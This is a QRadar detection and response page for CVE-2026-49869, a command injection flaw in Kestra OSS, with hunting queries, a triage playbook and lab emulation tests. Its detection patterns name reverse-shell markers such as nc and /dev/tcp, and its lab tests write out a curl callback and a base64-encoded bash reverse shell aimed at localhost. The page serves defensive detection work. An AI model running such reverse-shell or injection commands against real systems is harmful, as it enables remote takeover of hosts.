Detect Kestra OSS OS Command Injection (CVE-2026-49869) in IBM QRadar
Detects exploitation of CVE-2026-49869, an OS command injection vulnerability in Kestra OSS (the open-source workflow orchestration platform). The flaw (CWE-78, with contributing CWE-184 incomplete blocklist, CWE-287 improper authentication, and CWE-918 SSRF) allows an attacker to inject arbitrary operating-system commands through a Kestra flow or task input that is passed to a shell without proper sanitization. Because Kestra executes flows on worker/executor nodes, successful injection yields remote code execution as the Kestra service account, often reachable pre-authentication. This detection is on the CISA KEV list, indicating confirmed in-the-wild exploitation. The rules identify anomalous child processes spawned by the Kestra JVM, shell metacharacters in flow/task API submissions, and outbound SSRF-style callbacks originating from Kestra hosts.
MITRE ATT&CK
- Tactic
- Initial Access Execution
QRadar Detection Query
SELECT QIDNAME(qid) AS event, "parentProcessName", "processName", "processCommandLine", sourceip, username, DATEFORMAT(devicetime,'yyyy-MM-dd HH:mm:ss') AS time
FROM events
WHERE (LOWER("parentProcessName") LIKE '%java%' OR LOWER("parentProcessName") LIKE '%kestra%')
AND "parentProcessCommandLine" ILIKE '%kestra%'
AND ( LOWER("processName") IN ('sh','bash','dash','zsh','cmd.exe','powershell.exe','pwsh','curl','wget','nc','ncat','python','python3','perl')
OR "processCommandLine" IMATCHES '.*(/dev/tcp/|base64 -d|bash -i|\$\(|`|\| *sh|&&).*' )
ORDER BY devicetime DESC LAST 24 HOURSAQL query surfacing Kestra JVM process-injection children (CVE-2026-49869).
Data Sources
Required Tables
False Positives & Tuning
- Kestra Shell/Bash task plugin activity
- Scheduled admin jobs under Kestra account
- Artifact download flows via curl/wget
Other platforms for CVE-2026-49869
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1 Simulated command injection via Kestra Shell task metacharacters
Expected signal: Process-creation event showing a bash child with $() command substitution, correlated to a kestra-marked java parent context.
- Test 2 Simulated SSRF/egress callback from Kestra host
Expected signal: Outbound network connection and a curl process launch originating from the Kestra host.
- Test 3 Simulated reverse-shell staging via base64 decode
Expected signal: Process event showing base64 -d decoding a payload containing /dev/tcp reverse-shell indicators.
References (4)
- https://github.com/kestra-io/kestra/security/advisories/GHSA-5vc5-wxxq-3fjx
- https://nvd.nist.gov/vuln/detail/CVE-2026-49869
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
Response Playbook
Triage
- Confirm the parent process is the Kestra JVM (java process with io.kestra in the classpath/command line) and identify whether the child process (shell, curl, nc, etc.) corresponds to a legitimately defined Shell/Bash task in an existing flow.
- Retrieve the Kestra execution/audit logs for the timeframe and correlate the process launch to a specific flow ID, namespace, execution ID, and the originating API caller / source IP.
- Inspect the flow definition and task inputs for shell metacharacters ($(), backticks, ;, &&, |) in user-supplied fields, indicating injection rather than intended command content.
- Determine the Kestra version and confirm whether it is within the vulnerable range for CVE-2026-49869 and whether the instance is exposed to untrusted networks or reachable pre-authentication.
Containment
- Isolate the affected Kestra worker/executor host from the network to stop further command execution and lateral movement.
- Disable or pause the malicious flow and revoke/rotate any API tokens or credentials used to submit the malicious execution; block the attacker source IP at the perimeter.
- Upgrade Kestra OSS to the fixed release per GHSA-5vc5-wxxq-3fjx and restrict the Kestra UI/API to authenticated, trusted networks only.
Evidence Collection
- Capture Kestra application logs, execution/audit records, and the full flow YAML plus task inputs tied to the malicious execution ID.
- Collect EDR process-tree telemetry (parent JVM → child shell → grandchildren) with full command lines, plus network connection logs from the Kestra host.
- Preserve a memory and disk image of the affected worker node and any files written to the Kestra working/temp directories.
Escalation Criteria
- !Escalate to incident response if the injected command achieved outbound C2, credential access, or spawned secondary payloads (base64-decoded shells, downloaded binaries).
- !Escalate to threat intel / leadership if the Kestra instance was internet-exposed and unauthenticated, given active KEV exploitation and potential for widespread compromise.
- !Escalate if the Kestra service account has access to secrets, cloud credentials, or downstream databases that may now be compromised.
Investigation Guide
Forensic Artifacts
- >
Kestra execution/audit logs mapping malicious executions to flow IDs, namespaces, and source IPs - >
EDR process-creation records showing java/kestra parent spawning shell or network utilities - >
Files dropped in Kestra working/temp directories and shell history on the worker node - >
Outbound network connection logs (SSRF/C2 callbacks) originating from the Kestra host
Tuning Guidance
Build an allowlist of legitimate Kestra Shell/Bash task command patterns and flow namespaces, then alert only on child processes or metacharacter patterns outside that baseline. Prioritize alerts where the Kestra API caller is unauthenticated or from an untrusted source IP, and where the child process performs network egress (curl/wget/nc) or decodes/executes payloads. Reduce noise by scoping to Kestra hosts and excluding known CI/CD artifact-fetch flows.
Hunting Queries
Baselines all child processes of the Kestra JVM so analysts can distinguish intended Shell-task executions from anomalous injected commands.
DeviceProcessEvents | where InitiatingProcessCommandLine has "io.kestra" | summarize count() by FileName, ProcessCommandLine, DeviceName | order by count_ descindex=edr parent_process="*io.kestra*" | stats count by process_name, process, host | sort - countAtomic Red Team Tests
Emulates an injected OS command by launching a shell with injection metacharacters as a child of a java process labeled as Kestra, in a lab.
Command
java -Dio.kestra.marker=test -version 2>/dev/null; bash -c 'echo "kestra-inject-$(id -un)" > /tmp/kestra_cve_2026_49869.txt'Cleanup
rm -f /tmp/kestra_cve_2026_49869.txtExpected Telemetry
Process-creation event showing a bash child with $() command substitution, correlated to a kestra-marked java parent context.
Expected Detection
KQL/SPL/EQL rules flag the shell child with command-injection metacharacters spawned in a Kestra context.
Emulates the SSRF/outbound callback (CWE-918) an injected command would perform to fetch a second-stage payload.
Command
curl -s -m 5 http://127.0.0.1:9/kestra-cve-2026-49869 || trueCleanup
echo 'no artifacts to remove'Expected Telemetry
Outbound network connection and a curl process launch originating from the Kestra host.
Expected Detection
Rules detecting network-utility children (curl/wget/nc) under the Kestra JVM trigger on the egress attempt.
Emulates the base64-encoded reverse shell payload commonly delivered through command injection, without opening a real connection.
Command
echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxCg==' | base64 -d > /tmp/kestra_revshell.sh; echo 'staged (not executed)'Cleanup
rm -f /tmp/kestra_revshell.shExpected Telemetry
Process event showing base64 -d decoding a payload containing /dev/tcp reverse-shell indicators.
Expected Detection
Rules matching 'base64 -d' and '/dev/tcp/' patterns in a Kestra process context fire.